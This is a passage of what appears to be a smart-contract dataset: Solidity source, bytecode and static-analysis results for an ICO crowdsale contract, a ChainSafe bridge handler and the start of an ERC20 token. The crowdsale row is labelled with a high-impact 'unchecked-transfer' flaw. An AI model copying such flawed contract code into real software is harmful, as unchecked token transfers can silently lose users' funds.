uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = 0xD8F2FCbeDC3a1434a4B82b330765ff0Ada9d0D10;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title ERC20Basic
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract HODL_ICO is Pausable {
using SafeMath for uint256;
// The token being sold
ERC20 public token;
// Address where funds are collected
address public wallet;
// Max supply of tokens offered in the crowdsale
uint256 public supply;
// How many token units a buyer gets per wei
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
// Min amount of wei an investor can send
uint256 public minInvest;
// Crowdsale opening time
uint256 public openingTime;
// Crowdsale closing time
uint256 public closingTime;
// Crowdsale duration in days
uint256 public duration;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor() public {
rate = 1000;
wallet = owner;
token = ERC20(0x2F21116ABbb4A91D916bE8c665B461AEa00eb568);
minInvest = 0.1 * 1 ether;
duration = 45 days;
openingTime = 1591920321; // Determined by start()
closingTime = openingTime + duration; // Determined by start()
}
/**
* @dev called by the owner to start the crowdsale
*/
function start() public onlyOwner {
openingTime = now;
closingTime = now + duration;
}
/**
* @dev Returns the rate of tokens per wei at the present time.
*/
function getCurrentRate() public view returns (uint256) {
if (now <= openingTime.add(15 days)) return rate.add(rate); // PRE-ICO bonus 100% 15 days
if (now > openingTime.add(15 days) && now <= openingTime.add(18 days)) return rate.add(rate*3/4); // ICO bonus 75% 1st three days
if (now > openingTime.add(18 days) && now <= openingTime.add(21 days)) return rate.add(rate*7/10); // ICO bonus 70% 2nd three days
if (now > openingTime.add(21 days) && now <= openingTime.add(24 days)) return rate.add(rate*13/20); // ICO bonus 65% 3rd three days
if (now > openingTime.add(24 days) && now <= openingTime.add(27 days)) return rate.add(rate*3/5); // ICO bonus 60% 4th three days
if (now > openingTime.add(27 days) && now <= openingTime.add(30 days)) return rate.add(rate*11/20); // ICO bonus 55% 5th three days
if (now > openingTime.add(30 days) && now <= openingTime.add(33 days)) return rate.add(rate/2); // ICO bonus 50% 6th three days
if (now > openingTime.add(33 days) && now <= openingTime.add(36 days)) return rate.add(rate*9/20); // ICO bonus 45% 7th three days
if (now > openingTime.add(36 days) && now <= openingTime.add(39 days)) return rate.add(rate*2/5); // ICO bonus 40% 8th three days
if (now > openingTime.add(39 days) && now <= openingTime.add(42 days)) return rate.add(rate*7/20); // ICO bonus 35% 9th three days
if (now > openingTime.add(42 days)) return rate.add(rate*3/10); // ICO bonus 30% 10th three days
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_forwardFunds();
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal whenNotPaused {
require(_beneficiary != address(0));
require(_weiAmount >= minInvest);
require(now >= openingTime && now <= closingTime);
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens.
* @param _beneficiary Address receiving the tokens
* @param _tokenAmount Number of tokens to be purchased
*/
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
uint256 currentRate = getCurrentRate();
return currentRate.mul(_weiAmount);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
/**
* @dev Checks whether the period in which the crowdsale is open has already elapsed.
* @return Whether crowdsale period has elapsed
*/
function hasClosed() public view returns (bool) {
return now > closingTime;
}
/**
* @dev called by the owner to withdraw unsold tokens
*/
function withdrawTokens() public onlyOwner {
uint256 unsold = token.balanceOf(this);
token.transfer(owner, unsold);
}
}
|
0x6080604052600436106101065763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663047fc9aa81146101115780630fb5a6b4146101385780631515bc2b1461014d5780632c4e722e146101765780633f4ba83a1461018b5780634042b66f146101a05780634b6753bc146101b5578063521eb273146101ca5780635c975abb146101fb57806363fd9e38146102105780638456cb59146102255780638d8f2adb1461023a5780638da5cb5b1461024f578063b7a8807c14610264578063be9a655514610279578063ec8ac4d81461028e578063f2fde38b146102a2578063f7fb07b0146102c3578063fc0c546a146102d8575b61010f336102ed565b005b34801561011d57600080fd5b5061012661037b565b60408051918252519081900360200190f35b34801561014457600080fd5b50610126610381565b34801561015957600080fd5b50610162610387565b604080519115158252519081900360200190f35b34801561018257600080fd5b50610126610390565b34801561019757600080fd5b5061010f610396565b3480156101ac57600080fd5b5061012661040c565b3480156101c157600080fd5b50610126610412565b3480156101d657600080fd5b506101df610418565b60408051600160a060020a039092168252519081900360200190f35b34801561020757600080fd5b50610162610427565b34801561021c57600080fd5b50610126610437565b34801561023157600080fd5b5061010f61043d565b34801561024657600080fd5b5061010f6104b8565b34801561025b57600080fd5b506101df610601565b34801561027057600080fd5b50610126610610565b34801561028557600080fd5b5061010f610616565b61010f600160a060020a03600435166102ed565b3480156102ae57600080fd5b5061010f600160a060020a036004351661063c565b3480156102cf57600080fd5b506101266106d0565b3480156102e457600080fd5b506101df610a11565b3460006102fa8383610a20565b61030382610a7e565b600554909150610319908363ffffffff610aa216565b6005556103268382610abc565b60408051838152602081018390528151600160a060020a0386169233927f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad18929081900390910190a3610376610ac6565b505050565b60035481565b60095481565b60085442115b90565b60045481565b600054600160a060020a031633146103ad57600080fd5b60005460a060020a900460ff1615156103c557600080fd5b6000805474ff0000000000000000000000000000000000000000191681556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b339190a1565b60055481565b60085481565b600254600160a060020a031681565b60005460a060020a900460ff1681565b60065481565b600054600160a060020a0316331461045457600080fd5b60005460a060020a900460ff161561046b57600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1781556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff6259190a1565b60008054600160a060020a031633146104d057600080fd5b600154604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a03909216916370a08231916024808201926020929091908290030181600087803b15801561053657600080fd5b505af115801561054a573d6000803e3d6000fd5b505050506040513d602081101561056057600080fd5b505160015460008054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a03928316600482015260248101869052905194955092169263a9059cbb926044808201936020939283900390910190829087803b1580156105d757600080fd5b505af11580156105eb573d6000803e3d6000fd5b505050506040513d602081101561037657600080fd5b600054600160a060020a031681565b60075481565b600054600160a060020a0316331461062d57600080fd5b42600781905560095401600855565b600054600160a060020a0316331461065357600080fd5b600160a060020a038116151561066857600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6007546000906106e9906213c68063ffffffff610aa216565b421161070957600454610702908063ffffffff610aa216565b905061038d565b60075461071f906213c68063ffffffff610aa216565b42118015610742575060075461073e906217bb0063ffffffff610aa216565b4211155b15610765576004805461070291906003025b60045491900463ffffffff610aa216565b60075461077b906217bb0063ffffffff610aa216565b4211801561079e575060075461079a90621baf8063ffffffff610aa216565b4211155b156107b55760045461070290600a90600702610754565b6007546107cb90621baf8063ffffffff610aa216565b421180156107ee57506007546107ea90621fa40063ffffffff610aa216565b4211155b156108055760045461070290601490600d02610754565b60075461081b90621fa40063ffffffff610aa216565b4211801561083e575060075461083a906223988063ffffffff610aa216565b4211155b156108555760045461070290600590600302610754565b60075461086b906223988063ffffffff610aa216565b4211801561088e575060075461088a9062278d0063ffffffff610aa216565b4211155b156108a55760045461070290601490600b02610754565b6007546108bb9062278d0063ffffffff610aa216565b421180156108de57506007546108da90622b818063ffffffff610aa216565b4211155b156108f25760045461070290600290610754565b60075461090890622b818063ffffffff610aa216565b4211801561092b575060075461092790622f760063ffffffff610aa216565b4211155b156109425760045461070290601490600902610754565b60075461095890622f760063ffffffff610aa216565b4211801561097b57506007546109779062336a8063ffffffff610aa216565b4211155b156109925760045461070290600590600202610754565b6007546109a89062336a8063ffffffff610aa216565b421180156109cb57506007546109c79062375f0063ffffffff610aa216565b4211155b156109e25760045461070290601490600702610754565b6007546109f89062375f0063ffffffff610aa216565b42111561038d5760045461070290600a90600302610754565b600154600160a060020a031681565b60005460a060020a900460ff1615610a3757600080fd5b600160a060020a0382161515610a4c57600080fd5b600654811015610a5b57600080fd5b6007544210158015610a6f57506008544211155b1515610a7a57600080fd5b5050565b600080610a896106d0565b9050610a9b818463ffffffff610b0216565b9392505050565b600082820183811015610ab157fe5b8091505b5092915050565b610a7a8282610b2d565b600254604051600160a060020a03909116903480156108fc02916000818181858888f19350505050158015610aff573d6000803e3d6000fd5b50565b600080831515610b155760009150610ab5565b50828202828482811515610b2557fe5b0414610ab157fe5b600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b158015610b9c57600080fd5b505af1158015610bb0573d6000803e3d6000fd5b505050506040513d6020811015610bc657600080fd5b505050505600a165627a7a72305820a6526308a6e9bd0b25b12c500c2cabaf1b8833586b5c714200e1252b9e06a8430029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 3,521 |
0x517828d2549cEC09386f89a67E92825E26740240
|
/**
*Submitted for verification at Etherscan.io on 2021-05-30
*/
pragma solidity 0.6.4;
pragma experimental ABIEncoderV2;
/**
@title Interface for handler that handles generic deposits and deposit executions.
@author ChainSafe Systems.
*/
interface IGenericHandler {
/**
@notice Correlates {resourceID} with {contractAddress}, {depositFunctionSig}, and {executeFunctionSig}.
@param resourceID ResourceID to be used when making deposits.
@param contractAddress Address of contract to be called when a deposit is made and a deposited is executed.
@param depositFunctionSig Function signature of method to be called in {contractAddress} when a deposit is made.
@param depositFunctionDepositerOffset Depositer address position offset in the metadata, in bytes.
@param executeFunctionSig Function signature of method to be called in {contractAddress} when a deposit is executed.
*/
function setResource(
bytes32 resourceID,
address contractAddress,
bytes4 depositFunctionSig,
uint depositFunctionDepositerOffset,
bytes4 executeFunctionSig) external;
}
/**
@title Handles generic deposits and deposit executions.
@author ChainSafe Systems.
@notice This contract is intended to be used with the Bridge contract.
*/
contract GenericHandler is IGenericHandler {
address public _bridgeAddress;
struct DepositRecord {
uint8 _destinationChainID;
address _depositer;
bytes32 _resourceID;
bytes _metaData;
}
// depositNonce => Deposit Record
mapping (uint8 => mapping(uint64 => DepositRecord)) public _depositRecords;
// resourceID => contract address
mapping (bytes32 => address) public _resourceIDToContractAddress;
// contract address => resourceID
mapping (address => bytes32) public _contractAddressToResourceID;
// contract address => deposit function signature
mapping (address => bytes4) public _contractAddressToDepositFunctionSignature;
// contract address => depositer address position offset in the metadata
mapping (address => uint256) public _contractAddressToDepositFunctionDepositerOffset;
// contract address => execute proposal function signature
mapping (address => bytes4) public _contractAddressToExecuteFunctionSignature;
// token contract address => is whitelisted
mapping (address => bool) public _contractWhitelist;
modifier onlyBridge() {
_onlyBridge();
_;
}
function _onlyBridge() private {
require(msg.sender == _bridgeAddress, "sender must be bridge contract");
}
/**
@param bridgeAddress Contract address of previously deployed Bridge.
@param initialResourceIDs Resource IDs used to identify a specific contract address.
These are the Resource IDs this contract will initially support.
@param initialContractAddresses These are the addresses the {initialResourceIDs} will point to, and are the contracts that will be
called to perform deposit and execution calls.
@param initialDepositFunctionSignatures These are the function signatures {initialContractAddresses} will point to,
and are the function that will be called when executing {deposit}
@param initialDepositFunctionDepositerOffsets These are the offsets of depositer positions, inside of metadata used to call
{initialContractAddresses} when executing {deposit}
@param initialExecuteFunctionSignatures These are the function signatures {initialContractAddresses} will point to,
and are the function that will be called when executing {executeProposal}
@dev {initialResourceIDs}, {initialContractAddresses}, {initialDepositFunctionSignatures},
and {initialExecuteFunctionSignatures} must all have the same length. Also,
values must be ordered in the way that that index x of any mentioned array
must be intended for value x of any other array, e.g. {initialContractAddresses}[0]
is the intended address for {initialDepositFunctionSignatures}[0].
*/
constructor(
address bridgeAddress,
bytes32[] memory initialResourceIDs,
address[] memory initialContractAddresses,
bytes4[] memory initialDepositFunctionSignatures,
uint256[] memory initialDepositFunctionDepositerOffsets,
bytes4[] memory initialExecuteFunctionSignatures
) public {
require(initialResourceIDs.length == initialContractAddresses.length,
"initialResourceIDs and initialContractAddresses len mismatch");
require(initialContractAddresses.length == initialDepositFunctionSignatures.length,
"provided contract addresses and function signatures len mismatch");
require(initialDepositFunctionSignatures.length == initialExecuteFunctionSignatures.length,
"provided deposit and execute function signatures len mismatch");
require(initialDepositFunctionDepositerOffsets.length == initialExecuteFunctionSignatures.length,
"provided depositer offsets and function signatures len mismatch");
_bridgeAddress = bridgeAddress;
for (uint256 i = 0; i < initialResourceIDs.length; i++) {
_setResource(
initialResourceIDs[i],
initialContractAddresses[i],
initialDepositFunctionSignatures[i],
initialDepositFunctionDepositerOffsets[i],
initialExecuteFunctionSignatures[i]);
}
}
/**
@param depositNonce This ID will have been generated by the Bridge contract.
@param destId ID of chain deposit will be bridged to.
@return DepositRecord which consists of:
- _destinationChainID ChainID deposited tokens are intended to end up on.
- _resourceID ResourceID used when {deposit} was executed.
- _depositer Address that initially called {deposit} in the Bridge contract.
- _metaData Data to be passed to method executed in corresponding {resourceID} contract.
*/
function getDepositRecord(uint64 depositNonce, uint8 destId) external view returns (DepositRecord memory) {
return _depositRecords[destId][depositNonce];
}
/**
@notice First verifies {_resourceIDToContractAddress}[{resourceID}] and
{_contractAddressToResourceID}[{contractAddress}] are not already set,
then sets {_resourceIDToContractAddress} with {contractAddress},
{_contractAddressToResourceID} with {resourceID},
{_contractAddressToDepositFunctionSignature} with {depositFunctionSig},
{_contractAddressToDepositFunctionDepositerOffset} with {depositFunctionDepositerOffset},
{_contractAddressToExecuteFunctionSignature} with {executeFunctionSig},
and {_contractWhitelist} to true for {contractAddress}.
@param resourceID ResourceID to be used when making deposits.
@param contractAddress Address of contract to be called when a deposit is made and a deposited is executed.
@param depositFunctionSig Function signature of method to be called in {contractAddress} when a deposit is made.
@param depositFunctionDepositerOffset Depositer address position offset in the metadata, in bytes.
@param executeFunctionSig Function signature of method to be called in {contractAddress} when a deposit is executed.
*/
function setResource(
bytes32 resourceID,
address contractAddress,
bytes4 depositFunctionSig,
uint256 depositFunctionDepositerOffset,
bytes4 executeFunctionSig
) external onlyBridge override {
_setResource(resourceID, contractAddress, depositFunctionSig, depositFunctionDepositerOffset, executeFunctionSig);
}
/**
@notice A deposit is initiatied by making a deposit in the Bridge contract.
@param destinationChainID Chain ID deposit is expected to be bridged to.
@param depositNonce This value is generated as an ID by the Bridge contract.
@param depositer Address of the account making deposit in the Bridge contract.
@param data Consists of: {resourceID}, {lenMetaData}, and {metaData} all padded to 32 bytes.
@notice Data passed into the function should be constructed as follows:
len(data) uint256 bytes 0 - 32
data bytes bytes 64 - END
@notice {contractAddress} is required to be whitelisted
@notice If {_contractAddressToDepositFunctionSignature}[{contractAddress}] is set,
{metaData} is expected to consist of needed function arguments.
*/
function deposit(bytes32 resourceID, uint8 destinationChainID, uint64 depositNonce, address depositer, bytes calldata data) external onlyBridge {
uint256 lenMetadata;
bytes memory metadata;
lenMetadata = abi.decode(data, (uint256));
metadata = bytes(data[32:32 + lenMetadata]);
address contractAddress = _resourceIDToContractAddress[resourceID];
uint256 depositerOffset = _contractAddressToDepositFunctionDepositerOffset[contractAddress];
if (depositerOffset > 0) {
uint256 metadataDepositer;
// Skipping 32 bytes of length prefix and depositerOffset bytes.
assembly {
metadataDepositer := mload(add(add(metadata, 32), depositerOffset))
}
// metadataDepositer contains 0xdepositerAddressdepositerAddressdeposite************************
// Shift it 12 bytes right: 0x000000000000000000000000depositerAddressdepositerAddressdeposite
require(depositer == address(metadataDepositer >> 96), 'incorrect depositer in the data');
}
require(_contractWhitelist[contractAddress], "provided contractAddress is not whitelisted");
bytes4 sig = _contractAddressToDepositFunctionSignature[contractAddress];
if (sig != bytes4(0)) {
bytes memory callData = abi.encodePacked(sig, metadata);
(bool success,) = contractAddress.call(callData);
require(success, "call to contractAddress failed");
}
_depositRecords[destinationChainID][depositNonce] = DepositRecord(
destinationChainID,
depositer,
resourceID,
metadata
);
}
/**
@notice Proposal execution should be initiated when a proposal is finalized in the Bridge contract.
@param data Consists of {resourceID}, {lenMetaData}, and {metaData}.
@notice Data passed into the function should be constructed as follows:
len(data) uint256 bytes 0 - 32
data bytes bytes 32 - END
@notice {contractAddress} is required to be whitelisted
@notice If {_contractAddressToExecuteFunctionSignature}[{contractAddress}] is set,
{metaData} is expected to consist of needed function arguments.
*/
function executeProposal(bytes32 resourceID, bytes calldata data) external onlyBridge {
uint256 lenMetadata;
bytes memory metaData;
lenMetadata = abi.decode(data, (uint256));
metaData = bytes(data[32:32 + lenMetadata]);
address contractAddress = _resourceIDToContractAddress[resourceID];
require(_contractWhitelist[contractAddress], "provided contractAddress is not whitelisted");
bytes4 sig = _contractAddressToExecuteFunctionSignature[contractAddress];
if (sig != bytes4(0)) {
bytes memory callData = abi.encodePacked(sig, metaData);
(bool success,) = contractAddress.call(callData);
require(success, "delegatecall to contractAddress failed");
}
}
function _setResource(
bytes32 resourceID,
address contractAddress,
bytes4 depositFunctionSig,
uint256 depositFunctionDepositerOffset,
bytes4 executeFunctionSig
) internal {
_resourceIDToContractAddress[resourceID] = contractAddress;
_contractAddressToResourceID[contractAddress] = resourceID;
_contractAddressToDepositFunctionSignature[contractAddress] = depositFunctionSig;
_contractAddressToDepositFunctionDepositerOffset[contractAddress] = depositFunctionDepositerOffset;
_contractAddressToExecuteFunctionSignature[contractAddress] = executeFunctionSig;
_contractWhitelist[contractAddress] = true;
}
/**
@notice Used to update the _bridgeAddress.
@param newBridgeAddress Address of the updated _bridgeAddress.
*/
function updateBridgeAddress(address newBridgeAddress) external onlyBridge {
require(_bridgeAddress != newBridgeAddress, "the updated address is the same with the old");
_bridgeAddress = newBridgeAddress;
}
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063aa50800b1161008c578063cb62446311610066578063cb624463146101d0578063de319d99146101e3578063e248cff2146101f6578063ec97d3b414610209576100cf565b8063aa50800b1461017d578063ba484c091461019d578063c54c2a11146101bd576100cf565b8063318c136e146100d457806338995da9146100f25780634402027f14610107578063645c8a4b1461012a5780637f79bea81461013d578063a5c3a9851461015d575b600080fd5b6100dc61021c565b6040516100e99190610da9565b60405180910390f35b610105610100366004610c33565b61022b565b005b61011a610115366004610ce7565b610507565b6040516100e99493929190610fb4565b610105610138366004610b46565b6105cb565b61015061014b366004610b46565b610623565b6040516100e99190610dbd565b61017061016b366004610b46565b610638565b6040516100e99190610dd1565b61019061018b366004610b46565b61064d565b6040516100e99190610dc8565b6101b06101ab366004610cb3565b61065f565b6040516100e99190610f68565b6100dc6101cb366004610b68565b610752565b6101706101de366004610b46565b61076d565b6101056101f1366004610b80565b610782565b610105610204366004610be9565b61079e565b610190610217366004610b46565b610937565b6000546001600160a01b031681565b610233610949565b6000606061024383850185610b68565b915083836020846020018082111561025a57600080fd5b8281111561026757600080fd5b60408051602092849003601f81018490048402820184019092528181529490920192508190840183828082843760009201829052508c8152600260209081526040808320546001600160a01b0316808452600590925290912054949550939250508115905061030e57828101602001516001600160a01b038816606082901c1461030c5760405162461bcd60e51b815260040161030390610eaf565b60405180910390fd5b505b6001600160a01b03821660009081526007602052604090205460ff166103465760405162461bcd60e51b815260040161030390610ee6565b6001600160a01b03821660009081526004602052604090205460e01b6001600160e01b03198116156104185760608185604051602001610387929190610d5c565b60405160208183030381529060405290506000846001600160a01b0316826040516103b29190610d8d565b6000604051808303816000865af19150503d80600081146103ef576040519150601f19603f3d011682016040523d82523d6000602084013e6103f4565b606091505b50509050806104155760405162461bcd60e51b815260040161030390610f31565b50505b60405180608001604052808b60ff168152602001896001600160a01b031681526020018c815260200185815250600160008c60ff1660ff16815260200190815260200160002060008b67ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a8154816001600160a01b0302191690836001600160a01b031602179055506040820151816001015560608201518160020190805190602001906104f79291906109fe565b5050505050505050505050505050565b60016020818152600093845260408085208252928452928290208054818301546002808401805487516101009782161588026000190190911692909204601f810189900489028301890190975286825260ff841697959093046001600160a01b0316959194909291908301828280156105c15780601f10610596576101008083540402835291602001916105c1565b820191906000526020600020905b8154815290600101906020018083116105a457829003601f168201915b5050505050905084565b6105d3610949565b6000546001600160a01b03828116911614156106015760405162461bcd60e51b815260040161030390610e1d565b600080546001600160a01b0319166001600160a01b0392909216919091179055565b60076020526000908152604090205460ff1681565b60066020526000908152604090205460e01b81565b60056020526000908152604090205481565b610667610a7c565b60ff828116600090815260016020818152604080842067ffffffffffffffff89168552825292839020835160808101855281549586168152610100958690046001600160a01b0316818401528184015481860152600280830180548751968116159098026000190190971604601f81018490048402850184019095528484529490936060860193928301828280156107405780601f1061071557610100808354040283529160200191610740565b820191906000526020600020905b81548152906001019060200180831161072357829003601f168201915b50505050508152505090505b92915050565b6002602052600090815260409020546001600160a01b031681565b60046020526000908152604090205460e01b81565b61078a610949565b6107978585858585610975565b5050505050565b6107a6610949565b600060606107b683850185610b68565b91508383602084602001808211156107cd57600080fd5b828111156107da57600080fd5b60408051602092849003601f8101849004840282018401909252818152949092019250819084018382808284376000920182905250898152600260209081526040808320546001600160a01b03168084526007909252909120549495509360ff16925061085c9150505760405162461bcd60e51b815260040161030390610ee6565b6001600160a01b03811660009081526006602052604090205460e01b6001600160e01b031981161561092e576060818460405160200161089d929190610d5c565b60405160208183030381529060405290506000836001600160a01b0316826040516108c89190610d8d565b6000604051808303816000865af19150503d8060008114610905576040519150601f19603f3d011682016040523d82523d6000602084013e61090a565b606091505b505090508061092b5760405162461bcd60e51b815260040161030390610e69565b50505b50505050505050565b60036020526000908152604090205481565b6000546001600160a01b031633146109735760405162461bcd60e51b815260040161030390610de6565b565b600085815260026020908152604080832080546001600160a01b0319166001600160a01b03989098169788179055958252600381528582209690965560048652848120805463ffffffff1990811660e096871c1790915560058752858220939093556006865284812080549093169190931c17905560079092529020805460ff19166001179055565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610a3f57805160ff1916838001178555610a6c565b82800160010185558215610a6c579182015b82811115610a6c578251825591602001919060010190610a51565b50610a78929150610aa2565b5090565b604080516080810182526000808252602082018190529181019190915260608082015290565b610abc91905b80821115610a785760008155600101610aa8565b90565b80356001600160a01b038116811461074c57600080fd5b60008083601f840112610ae7578182fd5b50813567ffffffffffffffff811115610afe578182fd5b602083019150836020828501011115610b1657600080fd5b9250929050565b803567ffffffffffffffff8116811461074c57600080fd5b803560ff8116811461074c57600080fd5b600060208284031215610b57578081fd5b610b618383610abf565b9392505050565b600060208284031215610b79578081fd5b5035919050565b600080600080600060a08688031215610b97578081fd5b8535945060208601356001600160a01b0381168114610bb4578182fd5b93506040860135610bc48161101e565b9250606086013591506080860135610bdb8161101e565b809150509295509295909350565b600080600060408486031215610bfd578283fd5b83359250602084013567ffffffffffffffff811115610c1a578283fd5b610c2686828701610ad6565b9497909650939450505050565b60008060008060008060a08789031215610c4b578081fd5b86359550610c5c8860208901610b35565b9450610c6b8860408901610b1d565b9350610c7a8860608901610abf565b9250608087013567ffffffffffffffff811115610c95578182fd5b610ca189828a01610ad6565b979a9699509497509295939492505050565b60008060408385031215610cc5578182fd5b610ccf8484610b1d565b9150610cde8460208501610b35565b90509250929050565b60008060408385031215610cf9578182fd5b823560ff81168114610d09578283fd5b9150602083013567ffffffffffffffff81168114610d25578182fd5b809150509250929050565b60008151808452610d48816020860160208601610fee565b601f01601f19169290920160200192915050565b6001600160e01b0319831681528151600090610d7f816004850160208701610fee565b919091016004019392505050565b60008251610d9f818460208701610fee565b9190910192915050565b6001600160a01b0391909116815260200190565b901515815260200190565b90815260200190565b6001600160e01b031991909116815260200190565b6020808252601e908201527f73656e646572206d7573742062652062726964676520636f6e74726163740000604082015260600190565b6020808252602c908201527f74686520757064617465642061646472657373206973207468652073616d652060408201526b1dda5d1a081d1a19481bdb1960a21b606082015260800190565b60208082526026908201527f64656c656761746563616c6c20746f20636f6e7472616374416464726573732060408201526519985a5b195960d21b606082015260800190565b6020808252601f908201527f696e636f7272656374206465706f736974657220696e20746865206461746100604082015260600190565b6020808252602b908201527f70726f766964656420636f6e747261637441646472657373206973206e6f742060408201526a1dda1a5d195b1a5cdd195960aa1b606082015260800190565b6020808252601e908201527f63616c6c20746f20636f6e747261637441646472657373206661696c65640000604082015260600190565b60006020825260ff835116602083015260018060a01b036020840151166040830152604083015160608301526060830151608080840152610fac60a0840182610d30565b949350505050565b600060ff8616825260018060a01b038516602083015283604083015260806060830152610fe46080830184610d30565b9695505050505050565b60005b83811015611009578181015183820152602001610ff1565b83811115611018576000848401525b50505050565b6001600160e01b03198116811461103457600080fd5b5056fea264697066735822122098a59964092ebcba8d01b0068d31609ca07a4641fcf2eecd8813e1654c1d5b9064736f6c63430006040033
|
{"success": true, "error": null, "results": {}}
| 3,522 |
0xd0c914f089d74a7b52e21074de127d99f144d44f
|
/**
*Submitted for verification at Etherscan.io on 2020-09-01
*/
//SPDX-License-Identifier: MIT
/*
* MIT License
* ===========
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
